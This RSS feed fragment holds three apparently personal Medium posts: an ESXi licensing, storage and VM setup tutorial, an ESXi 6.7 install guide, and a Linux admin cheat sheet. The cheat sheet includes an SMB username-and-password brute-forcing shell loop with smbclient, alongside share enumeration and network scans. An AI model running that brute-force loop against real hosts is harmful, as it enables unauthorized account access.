            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*wQpLOVpmqXPTcC4LsEtmxw.jpeg" /></figure><p><strong>Requirements:</strong></p><ul><li>A working ESXi server. If you do not have one click <a href="https://medium.com/@Frauenhoffer/how-to-install-esxi-6-7-bd23c198f830">here</a></li><li>A means of functionally navigating to the web interface of the server. (Laptop, Chromebook, Desktop, etc.)</li></ul><h4><strong>The Skinny:</strong></h4><p>We will be configuring a standard free license VMware ESXi server. I will break down the configuration into three main parts:</p><ul><li>Licensing the server with a free license from VMware</li><li>Configuring Storage</li><li>Setting up Virtual Machines</li></ul><h3><strong>Licensing:</strong></h3><p>TL;DR: Grad free license key from VMware, log into the ESXi Server, Navigator&gt;Manage&gt;Licensing&gt;Assign License. Paste license and hit enter you filthy animal.</p><p>For this step you will need a free VMware account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkfCr9rP_NTHieFz1-1nVQ.png" /></figure><p>Log into your VMware account and navigate to the <a href="https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi6">VMware vSphere 6.7</a> download page. On this page you will see the free license after you log into your VMware account. If you have not registered your account with VMware, you will need to. If not they will not display any download links for ESXi and/or the license key. Copy this key because you will need to use it to license ESXi.</p><p>Log into your ESXi dashboard. To do this, open up a browser and log into the IP Address from my previous post. This is the IP address of the host machine for ESXi. You can check the previous post here.</p><p>When you navigate to the IP address of the ESXi host in your browser, you should be greeted by a “This link is unsafe” or whatever. THIS IS NORMAL. This happens because the Certificate from the ESXi server is not signed by a certificate authority. The certificate from the ESXi server is self-signed. This does not harm your computer in any way and really does not need to be changed. That is a topic for another day…</p><p>For this lab, my IP address for the ESXi server will be 192.168.1.191. In the screen shot below I have entered my IP address for the ESXi host and navigated to it with a web browser. Below the URL screen shot you can see the full login dash of the ESXi server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*lF2CEE_pplgH-6cHxGIqNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*DGJryzI6qbcHkmvwCO3Hdw.png" /></figure><p>You will need the password created when you initially build the ESXi server to log into the server. Type the username “root” and the password you have created into the login fields. The username will always be “root” unless a new account was created.</p><p>DO NOT STROKE THE ENTER KEY ON YOUR KEYBOARD TO LOG IN. For whatever reason this causes ESXi to freak out and reload with the Firefox browser. Instead click the ”Log in” Button under the password field.</p><p>After you log in, you will be greeted with the ESXi dashboard which losts a plethora of information about your server. For my ESXi testing instance, we can see I am using a Desktop HP Compaq Elite 8300 CMT, i7 with 16gb Ram. Nothing too fancy, but with ESXi we can turn this workstation into a work-horse. *slaps knee* *contemplates life* *looking into the distance with lifeless eyes* *remembers he is writing a post* Ok then, yep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPDRn1J1EsQYbirqbcQTUg.png" /></figure><p><em>Some important items to pay attention to in the dashboard are the CPU, MEMORY, and STORAGE status indicators at the top right. These will provide the information on the resources being used on the entire system.</em></p><p>Navigate to the Navigator pane on the side of the ESXI server and click the ‘manage’ option. Then from there click on the licensing option. These can be seen in the screen shots below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*CB-Rs-bwaRO1-ES-fOxJ-A.png" /><figcaption>The manage pane is located on the right hand side of the ESXi dashboard.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*23r-ZhpJGxnKZvZBCsQsaQ.png" /></figure><p>From here, we are going to click the assign license of the ESXi server and paste the license from VMware into the license field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*e_T9DucESOvf95pWwP3EbQ.png" /><figcaption>Check License to verify that the license is usable. Also it is your only option…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*01Ikq9ikHC_LsOqDZm890w.png" /><figcaption>Click Assign license. You have come this far, why cancel now?</figcaption></figure><p>Congratulations. If I has a sticker, I would give you one. In this case, I will settle for an Internet High-Five. What is an internet high five? it’s a ping of course a horse of course. ping frauenhoffer.tech and I will ping back.</p><p>Some licensing limitations of the VMware ESXi free to use license are:</p><ul><li>You cannot manage via vCenter Server</li><li>Max Physical CPU limit = 2</li><li>Max Virtual CPU limit = 8</li><li>No VMware support</li></ul><h3><strong>Storage:</strong></h3><p>TL;DR: Navigator&gt;Storage&gt;Devices&gt;Select Harddrive&gt; Click New DataStore. Select entire drive.</p><p>Remember. On our initial setup of the ESXi server we installed the ESXi system on a USB drive instead of the internal Hard Drive of the computer. If you are reading this post and have installed the ESXi system on the internal drive, then these following steps may erase your ESXi installation.</p><p>Lets take a break here and talk about why we installed the ESXi system to a USB drive instead of the physical internal storage of the computer.</p><ul><li>You save storage space on your datastore. Not a lot, but you do not need to fuss around with partitioning your internal storage when setting up the datastore. Further, ESXi is a relatively lightweight hypervisor that does not need a lot of storage to run. Also, if there is no redundancy and your HDD dies, so does the ESXi Hypervisor</li><li>Your Datastores are agnostic of what ESXi is handling them. This allows for a faster response time to bring a system back online in the event that the ESXi system has a catastrophic failure. You can duplicate the original USB and keep as a backup</li><li>Cost of a 16gb or 32gb USB 3.0 drive is cheaper than buying a new HDD</li><li>USB has no moving parts</li></ul><p>Back on track. So after licensing the ESXi server we are going to setup some storage on this machine. This can be done fairly easy because WE USE A USB TO HOST THE OPERATING SYSTEM FOR ESXi.</p><p>Navigate to the navigator sidebar and click the “Storage” tab. In the Storage tab you should see a tabbed bar with the options “Datastores”, “Adapters”, “Devices”, and “Persistent Mem”. Click the devices tab and you should be greeted with a couple rows of media.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZMlj812kEc7PhcIdxJDisQ.png" /></figure><p>Click the internal storage drive you would like to setup a datastore on. This will be of the type “Disk” in the rows near the bottom. Do not select the USB drive. That is where your ESXi system lives and erasing it will be bad and not boujee. When select the Disk you want, you will be greeted with another couple of options. Click the “New DataStore” Option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*twk_IukhA2NjHdxWK-nUMA.png" /></figure><p>When you click the new Datastore option you will be greeted with another window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*zHk3BfzJymy51zytnKyvzA.png" /></figure><p>Create a Name for your DataStoreHere you will want to create name for your Datastore and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*t_CnVDCdU2Zgcf3lD_V5LQ.png" /></figure><p>Select the “Use Full Disk” option from the Drop DOwn box and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*N2bA-eWJKbf4esTxEY4LRA.png" /></figure><p>Click Finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MunKUspnTl-eFcKw49Bpsw.png" /></figure><p>Now that the Datastore is setup on the ESXi server, you can navigate to the datastores by clicking the “Datastores” tab. In the Datastores tab there will be a multitude of information regarding the status of the Datastores on the ESXi server. From the picture below we can see that on this test lab server we have two datastores.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVgAPS10-rL3ftJE3kPixw.png" /><figcaption>Two Datastores</figcaption></figure><p>Click on one of your datastores and click on the “Datastore browser”. In here, we are able to see the directories of the filsystem in the datastore. One of the first things I do when I populate a new datastore is to layout the land by creating various folders for the project or lab I will be conducting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*q-4Rb3j_UEdVWVRpM8GvUw.png" /></figure><p>In this case I will be creating a new directory called ISOs. I will be doing this because when creating new Virtual Machines, it will be easier to know where all of the Disk Image files will be located without having to search for them in an unorganized directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*W9UWIxF7xnrfCoRc6RRIAg.png" /></figure><p>Once the Directory is created, upload all of the Disk Image files to the folder that you would like to use for your Virtual machines. When uploading the Disk Images you will be able to close the windows for the uploaded images and the upland will continue in the background.</p><p>Click the upload button and select the disk images that you would like to upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*s__cgAZJGhEUIEAQgUDx7w.png" /></figure><p>While they are uploading, you will see the status of the upload at the bottom of the screen when you close the Datastore Browser window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbxLgPw3sL8kIAqK1yQJXw.png" /></figure><p>Now that you have completed setting up the datastore, you can then progress into setting up virtual machines. For this lab I will be setting up multiple machines. I will show you the key differences for each</p><h3><strong>Creating Virtual Machines:</strong></h3><p>TL:DR: Navigator&gt; Virtual Machines&gt; Create / Register VM. Follow the prompts and selecting the ISO that you would like to boot.</p><p>To create virtual machines, you will need the disk image files of the VMs that you would like to create. Without the Disk Image files uploaded to the datastore, you will not be able to create Virtual Machines.</p><p>Navigate to Navigator Pane &gt; Virtual Machines &gt; Create / Register VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*eS1bo48MuUPXA1TDCzTUkQ.png" /></figure><p>Click the “Create / Register VM” tab and you will be directed to a new windows prompting you to create a new virtual machine. There will be a list of creation types on this menu. For this instance we will be creating a new virtual machine with a disk image ISO. However other options are in the menu.</p><p>One option is to “Deploy a VM from an OVF or OVA file” and if you chose this option it will guide you through the process of creating a VM from a OVF or OVA that you have saved LOCALLY on your computer. I place emphasis on locally because the speed at which you will create this VM will be determined by your internal network speed of your environment.</p><p>Another options is to “Register an existing VM”. This will depend on the .VMX configuration file. For this to work your VM directory should be uploaded to the ESXi server first before registering the VM. This can be an exported VM from VMware Workstation.</p><p>Nonetheless, we have veered off-track. LEts get back to deploying a VM from a disk image on the ESXi server. Follow the pictures below to deploy the VM.</p><p>Select the Create a new virtual machine options and click the next button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Jw510Mczrg0mVWg0Aw6pVA.png" /></figure><p>Name your new virtual machine and select the compatibility, Guest OS Family, and Guest OS Version options:</p><ul><li>The compatibility setting determines the virtual hardware available to the virtual machine, which corresponds to the physical hardware available on the host. Virtual hardware includes BIOS and EFI, available virtual PCI slots, maximum number of CPUs, maximum memory configuration, and other characteristics. New virtual hardware capabilities are typically released once a year with major or minor releases of vSphere.</li><li>The Guest OS Family will be the type of Operating System that will run on the virtual machine. Such as Windows, Linux, MacOS. When you select these options the ESXi server will create the aid in creating the enviorment for these VMs.</li><li>The Guest OS Version options will be the release of the Operating System that will use in the VM. This could be Guest Family=Windows and Guest Version: Windows 10 x64</li></ul><p>All and All it is pretty straght forward to create the virtual machines. These same concepts can be found throughout the world of “creating Virtual Machines” cross vendor from Oracle VirtualBox to VMware Workstation.</p><p>Next you are going to select the Hard Drive you will like to run the VM on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*ayyM_RgTJhlcOIu3PFI5-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*AmNRoZ2_vmilScRXq-00qQ.png" /></figure><p>Modify the resources your Virtual Machine to use. MAke sure you do not over-provision the virtual machine. If you over-provision the VM will fail to boot. Further more, do not add more storage than you are capable of providing. You will have a bad time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*NJcQOXOU3UjU_Iy5c78v7g.png" /></figure><p>Next, you will need to select a Datastore ISO file. This can be done by clicking he Drop-down menu from the CD/DVD Drive option. You will then need to select the ISO from the folder that you store your disk image ISO files in. This will be used as the Virtual Bootable medium for the VM when it starts.</p><p>Once you have selected the ISO that you would like, click Select, Click Next, and then review the “Ready to Complete” list. This will be directly related your .vmx file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ZM27AUUULTtr2O_D64ehsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*IVMpHhu9dik1zVeGnfG86g.png" /></figure><p>Once all is said and done, you should see a message that says Virtual machine $NAME was successfully created. From their you can click on your new VM and a new menu will be displayed that provides information on the VM. These options can be changed when needed like increasing storage size, adding vCPUs, and adding vRAM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*980m8qtF4tc7DhF_lX21WA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*iJp_OIxfQfsna3XCXTPwmA.png" /></figure><p>Lastly, boot the machine and you are good to go comrade.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*SXCuWfr8hQMTJ-hA6t1w4w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92ccc2831970" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Install ESXi 6.7]]></title>
            <link>https://medium.com/@damenhotel/how-to-install-esxi-6-7-bd23c198f830?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd23c198f830</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[hypervisors]]></category>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[esxi]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Sat, 01 Dec 2018 23:13:01 GMT</pubDate>
            <atom:updated>2018-12-01T23:13:01.316Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*wQpLOVpmqXPTcC4LsEtmxw.jpeg" /></figure><p><strong>What you will need:</strong></p><ul><li>Physical Host — Preferably something server-ish</li><li>2x USBs or 1x DVD and 1x USB <br>- 1x USB or DVD will be the installation source <br>- 1x USB will hold the vshpere Operating System</li><li>VMware Installation Media <br><a href="https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi6">https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi6</a></li></ul><h3><strong>What is VMware Vsphere (ESXi)?</strong></h3><p>VMware ESXi (formerly ESX) is an enterprise-class, type-1 Hypervisor developed by VMware for deploying and serving virtual computers. As a type-1 hypervisor, ESXi is not a software application that is installed on an operating system (OS) like VMware Workstation or Oracle VirtualBox; instead, it includes and integrates vital OS components, such as a kernel</p><p>VMware ESXi is free, easy to implement, and is great for home servers. With ESXi, you are able to host multiple Servers or Workstations on a single host. This is implemented using Virtualization. Further, you are able to manage Virtual Machines with snapshot features, virtual switching, and performance monitoring.</p><h3><strong>Instructions:</strong></h3><ol><li>Download VMware vSphere Hypervisor (ESXi) 6.7 from the address listed above. This will require you to create a VMware account. This should be a ‘.iso’ file. For example, the filename that I had when I downloaded the installation media was “VMware-VMvisor-Installer-6.7.0–8169922.x86_64”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tIhZ6J74kBWALtzczxgfSw.png" /></figure><p>2. Once, you have downloaded the installation media, write the ‘.iso’ file to a physical medium such as a DVD or USB. You can use an extremely popular USB writer called <a href="https://rufus.ie/en_IE.html">Rufus</a>. For this Medium post we will be walking through the writing to USB method with the 2x USB options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*5cxEzrSS3A-ic9zsM8KBkg.png" /></figure><ul><li>Make sure you can see the USB drive you will be writing to in the Rufus menu</li><li>Verify you have selected the correct Disk Image (.ISO) with the select option</li><li>Press the start button and wait for the image to be written to the USB</li></ul><p>After the bookable media has been created, plug in the USB or insert the DVD into the Physical Host(Computer, Server, etc). Moreover, plug in the second USB to the physical medium. At this point you should have either both USBs or a USB and a DVD plugged into the host.</p><p>Boot the host and select the bootable media from the boot menu of the Host. This could be by pressing either ‘esc’, ‘F12’, or ‘F9’ while the computer boots. If you are having trouble booting into the boot menu then google “How to access computer boot menu” on Google.</p><p>3. When the bootable media is started. You should see a boot menu like the one below. Select the “ESXi-6.7…” option and slam the ‘enter’ key because we are about to embark on a most excellent adventure. If your bootable media is not booting, you may have a corrupted .ISO or bad USB drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*HD74a_XStaYUnrNFQ3d6Nw.png" /></figure><p><em>Side note: If you are building a Hypervisor to host multiple Virtual Machines like Windows Server 2016, Ubuntu 18.04, etc. then you may want to download those Disk Images while you are building the Hypervisor to save time.</em></p><p>4. When you boot into the ESXi Installer, you will be greeted with a loading menu like the one below. Allow the menu to load and you will be greeted with a End User License Agreement. If you reach an Error on the loading screen and are not seeing the image below, you may have a corrupted .ISO file and will most likely need to re-download from the VMware website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*2W7Ain8MSbwznkDvX9tRIQ.png" /></figure><p>Cough*Cough* “Read” the EULA and then click the ‘F11’ key to progress with the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*pdvveaMkWy2cAyb0QkPdkA.png" /></figure><p><em>Once you reach the screen to install the ESXi system MAKE SURE YOU SELECT THE SECOND/UNUSED USB DRIVE. This will install ESXi on the USB drive and not the internal Hard Drive of the Host Machine.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*aeqz1Ej85g5zMX6Cq8SiKw.png" /></figure><p><em>Click Enter to accept that the data on the USB drive will be overwritten while ESXi is installed on it.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*rAX6ZoVRq0Q5NtLlPAMXsQ.png" /></figure><p><em>Create a Secure Password for ESXi. Do not forget this password. This password will be used to log into the ESXi interface and to Customize settings later at the ESXi Host screen.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*apm7Rv8_1C8nULVum0dsbw.png" /></figure><p><em>Click “F11” to Install on the USB Drive and wait for ESXi to install.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*VrgyLzEPQe_HSEGnhBtPEA.png" /></figure><p>5. When the installation completes, you will be greeted with a basic ESXi Host screen. The screen will display important information about the ESXi system like the IP address of the host machine. You will need this address to log into the ESXi interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*70eoBOzn5Jb-Qg1WqfcqoQ.png" /></figure><p>On the bottom of the Host Screen there will be two options</p><ul><li>[F12] Shutdown/Restart</li><li>[F2] Customize System / View Logs</li></ul><p>Press the “F2” key to open the Customize System menu and enter the password that you have just created previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*UC4XkjY_uctnvTdDc1NqxQ.png" /></figure><p>On the Customize System Menu, you will see an option to configure the management network on the device. you may want to set a static IP for your system since the IP address will be the primary way you will access the host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*817OsoCqlF3WNzhfl7bSTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*GniByRGRfCj1aiNHFYJOIQ.png" /></figure><p>There are other options that can be configured from these menus like SSH and Hostname. Have fun and mess around with the Hypervisor. On the next post I will dive into Licensing, Creating DataStores, and Setting up Virtual Machines.</p><h3><strong>Recommendations:</strong></h3><ul><li>The ESXi physical host will not need a monitor to function properly. I would suggest setting a static IP Address on the machine OUTSIDE OF THE DHCP SCOPE, plugging it in to a switch somewhere and your house and forgetting about it.</li><li>I would configure the BIOS to power on the Physical Host when power is applied. That way if there is a poweroutage, your machine will come back online without user interaction.</li><li>Re-configure the BIOs boot options to boot from the USB instead of the Hard Drive. Why? Because the ESXi system is on the USB stick. This is awesome because the Datastore of the physical machine will be agnostic of the ESXi HyperVisor. In Lamen’s Terms, if your USB shits the bed, you will be able to boot another ESXi USB and take control of the DataStore. This will allow you to continue operations as usual</li></ul><p>I wrote this post extremely fast while my Girlfriend sat across from me annoyed I am not paying attention to her. Also I most likely read/write at a 3rd grade level lol So if you see any gramer errors, don’t kill me over it, message me to fix or however medium works.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd23c198f830" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Cheat Sheet]]></title>
            <link>https://medium.com/@damenhotel/linux-cheat-sheet-29426defb66a?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/29426defb66a</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[netbios]]></category>
            <category><![CDATA[dhcp]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Fri, 11 Aug 2017 16:03:49 GMT</pubDate>
            <atom:updated>2017-08-11T16:03:49.614Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Discovery</h3><p><strong>Netview scans</strong><br>root@NAME:# smbtree -b<br>root@NAME:# smbtree -D<br>root@NAME:# smbtree -S</p><p><strong>View open SMB shares</strong><br>root@NAME:# smbclient -L HOSTNAME<br>root@NAME:# smbstatus</p><p><strong>Basic Ping scan w/out nmap</strong><br>root@NAME:# for ip in $(seq 1 254); do ping -c 1 192.168.103.$ip&gt;/dev/null; [ $? -eq 0] &amp;&amp; echo “192.168.1.$ip UP” || : ; done</p><h3>DHCP</h3><p><strong>View DHCP lease information</strong></p><p>Redhat -&gt; redhat@NAME:# &amp; ubuntu -&gt; Ubuntu@NAME:#<br>Redhat@NAME:# cat /var/lib/dhcpd/dhcpd.leases<br>Ubuntu@NAME:# grep -Ei ‘dhcp’ /var/log/syslog.1<br>Ubuntu@NAME:# tail -f dhcpd.log</p><h3>DNS</h3><p><strong>Start DNS logging</strong><br>Ubuntu@NAME:# rodc querylog<br><strong>View DNS Logs </strong><br>Ubuntu@NAME:# tail -f /var/log/messages | grep named</p><h3>NETBIOS</h3><p><strong>Basic NETBIOS scan </strong><br>root@NAME:# nbtscan 192.168.103.12 <br>root@NAME:# nbtscan 192.168.103.0/24</p><h3>Passwords</h3><p><strong>Change Passwords</strong> <br>root@NAME:# passwd (For Current user)<br>root@NAME:# passwd jdonahoe (for user jdonahoe)<br>root@NAME:# sudo su passwd (for root user)</p><p><strong>Password and username bruting</strong><br>root@NAME:# while read line ; do username=$line;while read line; do smbclient -L 192.168.103.8 -U $username%$line -g -d 0; echo $username:$line; done&lt;passwordlist.txt: done&lt;userlist.txt</p><h3>Network Traffic</h3><p><strong>Watch Network Traffic</strong><br>root@NAME:# watch ss -tp</p><p><strong>Netstat list all connections</strong><br>root@NAME:# netstat -a</p><p><strong>Netstat list only TCP or UDP connections</strong><br>root@NAME:# netstat -at <br>root@NAME:# netstat -au</p><p><strong>Disable reverse DNS lookup for faster output</strong><br>root@NAME:# netstat -ant<br>root@NAME:# netstat -anu</p><p><strong>List only LISTENING connections</strong><br>root@NAME:# netstat -tnl</p><p><strong>Get PID and user ID from Netstat output</strong><br>root@NAME:# netstat -nlpt<br>root@NAME:# netstat -ltpe</p><p><strong>Print netstat statistics</strong><br>root@NAME:# netstat -s</p><p><strong>Display kernel routing information</strong><br>root@NAME:# netstat -rn</p><p><strong>Network interfaces </strong><br>root@NAME:# netstat -i<br>root@NAME:# netstat -ie</p><p><strong>Continuously output netsat </strong><br>root@NAME:# netstat -ct</p><p><strong>Multicast group information </strong><br>root@NAME:# netstat -g</p><p><strong>Frauenhoffer’s Favorite </strong><br>root@NAME:# netstat -tupln</p><h3>SERVICES</h3><p><strong>Service Information</strong><br>root@NAME:# service — status-all<br>root@NAME:# service — status-all | grep + (Show only running services)<br>root@NAME:# service — status-all | grep — (Show only down services)<br>root@NAME:# ps -ef <br>root@NAME:# ps -aux</p><p><strong>List Upstart Jobs</strong><br>root@NAME:# ls /etc/init/*.conf<br>root@NAME:# initctl list</p><p><strong>Ubuntu Server Example</strong><br>root@NAME:# /etc/init.d/apache2 start<br>root@NAME:# /etc/init.d/apache2 stop (Stops until reboot) <br>root@NAME:# /etc/init.d/apache2 restart<br>root@NAME:# service mysql start<br>root@NAME:# service mysql stop (Stops until reboot)<br>root@NAME:# service mysql restart</p><p><strong>Show if a program is managed by upstart</strong><br>root@NAME:# status ssh <br>(IF NOT MANAGED BY UPSTART)<br>root@NAME:# update-rc.d apache2 disable<br>root@NAME:# service apache2 stop</p><h3>FIREWALL</h3><p><strong>List current firewall rules</strong><br>root@NAME:# iptables -L</p><p><strong>Flush all current IPtable rules</strong><br>root@NAME:# iptables -F</p><p><strong>Start or stop iptables</strong> root@NAME:# service iptables start<br>root@NAME:# service iptables stop</p><p><strong>Start or Stop UFW</strong><br>root@NAME:# ufw enable <br>root@NAME:# ufw disable</p><p><strong>Export existing firewall rules</strong><br>root@NAME:# iptables-save &gt; firewall.out</p><p><strong>Edit Firewall rules and chains in firewall.out and save the file</strong><br>root@NAME:# vi firewall.out<br>root@NAME:# nano firewall.out</p><p><strong>Start or Stop UFW logging</strong><br>root@NAME:# ufw logging on <br>root@NAME:# ufw logging off</p><p><strong>Backup current UFW rules</strong><br>root@NAME:# cp /lib/ufw/{user.rules,user6.rules} /BACkUPLOCATION<br>root@NAME:# cp /lib/ufw/{user.rules,user6.rules} ./</p><p><strong>Blocking </strong><br>root@NAME:# iptables -A INPUT -s 10.0.103.10 -j DROP (Drop Single)<br>root@NAME:# iptables -A INPUT -s 10.0.103.0/24 -j DROP (Drop the subnet)<br>root@NAME:# iptables -A INPUT -p tcp — dport ssh -s 10.0.103.10 -j DROP (Drop TCP communication single)<br>root@NAME:# iptables -A INPUT -p tcp — dport ssh -j DROP (Drop port ssh)</p><p><strong>Block all Communications</strong> <br>root@NAME:# iptables-policy INPUT DROP<br>root@NAME:# iptables-policy OUTPUT DROP <br>root@NAME:# iptables-policy FORWARD dROP</p><p><strong>Log all Denied Iptables rules</strong><br>root@NAME:# iptables -I INPUT 5 -m limit — limit 5/min -j LOG — log-prefix “iptables denied: “ — log-level 7</p><p><strong>Save all current IPtable rules </strong><br>ubuntu@NAME:# /etc/init.d/iptables save<br>ubuntu@NAME:# /sbin/service iptables save <br>redhat_Centos@NAME:# /etc/init.d/iptables save <br>redhat_Centos@NAME:# /sbin/iptables-save</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29426defb66a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>